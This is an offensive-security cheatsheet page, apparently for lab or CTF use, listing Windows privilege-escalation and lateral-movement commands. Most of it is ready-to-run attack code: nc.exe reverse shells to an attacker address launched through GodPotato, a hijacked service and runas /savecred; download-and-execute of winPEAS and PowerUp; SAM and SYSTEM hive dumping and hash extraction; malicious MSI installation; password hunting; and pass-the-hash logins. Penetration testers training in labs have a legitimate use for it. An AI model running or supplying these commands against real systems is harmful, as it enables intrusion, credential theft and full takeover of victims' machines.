Windows and Active Directory privilege escalation

Commands to enumerate Windows and get SYSTEM (SeImpersonate, services, AlwaysInstallElevated, credentials) and Active Directory basics (Kerberoasting, AS-REP, BloodHound, DCSync).

Your values Saved in this browser and applied to every cheatsheet.

Windows

Enumeration

User, groups and privileges 
whoami /all
System and patches 
systeminfo
Users and administrators 
net user
net localgroup administrators
Internal ports 
netstat -ano | findstr LISTENING
winPEAS 
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exe
PowerUp 
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks

Token privileges

SeImpersonate with GodPotato 
.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"

Typical on service accounts (IIS, MSSQL). Alternatives for older versions are PrintSpoofer and JuicyPotatoNG.

SeImpersonate with PrintSpoofer 
.\PrintSpoofer64.exe -i -c powershell
SeBackupPrivilege (copy SAM and SYSTEM) 
reg save hklm\sam C:\Windows\Temp\sam
reg save hklm\system C:\Windows\Temp\system
Extract the SAM hashes Attacker 
impacket-secretsdump -sam sam -system system LOCAL

Services

Unquoted paths with spaces 
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select Name,PathName,StartMode
Service config and permissions 
sc.exe qc NombreServicio
icacls "C:\Ruta\servicio.exe"
Change the binary of a modifiable service 
sc.exe config NombreServicio binpath= "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop NombreServicio; sc.exe start NombreServicio

AlwaysInstallElevated

Check (both keys set to 1) 
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Install a malicious MSI 
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi

Build the MSI with msfvenom (see the reverse shell cheatsheet).

Stored credentials

PowerShell history 
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Saved Windows credentials 
cmdkey /list
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
Autologon in the registry 
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Search passwords in files 
findstr /si /m "password" C:\inetpub\*.config C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini
PSCredential in XML 
$c = Import-Clixml -Path cred.xml; $c.GetNetworkCredential().Password

Remote access

WinRM Attacker 
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash with psexec Attacker 
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash with evil-winrm Attacker 
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT